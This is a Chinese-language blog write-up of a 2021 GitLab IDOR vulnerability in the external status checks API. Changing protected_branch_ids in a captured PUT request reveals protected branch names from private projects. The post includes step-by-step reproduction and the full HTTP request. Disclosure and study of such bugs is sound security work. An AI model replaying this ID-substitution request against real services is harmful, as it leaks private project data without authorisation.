gitlab漏洞系列-私有項目分支名稱泄露
gitlab漏洞系列-私有項目分支名稱泄露
聲明:文章中涉及的程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用,讀者將其信息做其他用途,由用戶承擔(dān)全部法律及連帶責(zé)任,文章作者不承擔(dān)任何法律及連帶責(zé)任。
背景
白帽小哥ashish_r_padelkar在2021年8月份的時候上報了這個漏洞: 在添加新的狀態(tài)檢查時,gitlab.com https://gitlab.com/<GroupName>/<ProjectName>/edit在合并請求部分命名為狀態(tài)檢查, 這個請求易收到IDOR攻擊,可以替換分支的id即可設(shè)置/獲取它們的名稱,即使它們是私人項目中的,如果這些id是連續(xù)的,可以輕松地批量獲取名稱。
復(fù)現(xiàn)步驟
1.以項目維護人員的身份登錄并訪問https://gitlab.com/<GroupName>/<ProjectName>/edit的合并請求部分,單擊添加狀態(tài)檢查按鈕。
2.添加輸入。(也允許添加本地主機url,請注意,因為通常gitlab是不允許localhost url)。在分支下拉菜單中選擇你的分支并添加。捕獲請求如下所示。
PUT /api/v4/projects/23887195/external_status_checks/50 HTTP/2
Host: gitlab.com
Cookie: 1
Content-Length: 120
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Accept: application/json, text/plain, */*
X-Csrf-Token: 1
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: https://gitlab.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://gitlab.com/privategroup4321/githubimport/edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"external_url":"http://127.0.0.1/","id":50,"name":"Anything","protected_branch_ids":[41438448]}
3.只需將上述請求中的protected_branch_ids的值替換為任何受保護的分支ID,這些分支ID可能屬于你無法訪問的私有項目。這些id是連續(xù)的。
4.發(fā)送請求,可以在響應(yīng)和UI中看到受保護的分支名稱。
5.通過這種方式,你可以獲得任何項目的受保護的分支名稱,而不必考慮它們的可見性!
影響
能夠獲取私有項目的受保護分支名稱,并使用它們創(chuàng)建狀態(tài)檢查。
作者:richardo1o1
歡迎關(guān)注微信公眾號 :迪哥講事